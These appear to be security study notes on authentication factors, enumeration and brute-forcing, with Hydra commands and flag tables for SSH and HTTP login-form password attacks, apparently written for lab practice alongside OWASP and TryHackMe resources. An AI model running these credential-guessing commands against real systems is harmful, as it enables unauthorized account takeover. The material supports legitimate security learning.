IAAA Framework - Auth Factors - Enumeration - Brute Force - Hydra
Multifactor Authentication combines 2+ factors from different types. Even if one is compromised, the attacker still can't authenticate.
hydra -l <username> -P <wordlist_path> <target_ip> -t 4 ssh
| Flag | Description |
|---|---|
| -l | Specifies the username for login |
| -L | File containing usernames to try |
| -p | Single password to try |
| -P | File containing passwords to try |
| -t | Number of parallel threads/tasks |
hydra -l root -P passwords.txt 10.10.10.10 -t 4 ssh
hydra -l <username> -P <wordlist> <target_ip> http-post-form \ "<path>:<login_credentials>:<invalid_response>"
| Component | Description |
|---|---|
| <path> | Login page URL (e.g., /login.php) |
| ^USER^ | Placeholder replaced by the username |
| ^PASS^ | Placeholder replaced by the password from list |
| F=... | String that appears in response when login fails |
| -s <port> | Specify non-default port |
hydra -l molly -P rockyou.txt 10.10.10.10 http-post-form "/:username=^USER^&password=^PASS^:F=incorrect"
| Flag | Description |
|---|---|
| -l <user> | Single username |
| -L <file> | Username list file |
| -p <pass> | Single password |
| -P <file> | Password list file |
| -t <num> | Parallel tasks/threads |
| -V | Verbose - show each attempt |
| -f | Stop after first valid login found |
| -s <port> | Target non-default port |
Plain-language authentication overview.
IAM-focused explanation of authentication.
Best practices for login and identity controls.
Top 10 category for authentication weaknesses.
Authentication vulnerability academy material.
Enumeration, brute force, and password attacks.
Login security concepts and controls.
OWASP WSTG testing guide.
Weak password requirements weakness entry.
Testing account lockout protections.
Explanation of enumeration risk.
OWASP identity testing guidance.
OWASP guidance for testing MFA controls.
Hydra install notes and examples.
Guided brute-force and enumeration practice.
Extra TryHackMe practice room.
TryHackMe brute-force practice.
Authentication labs collection.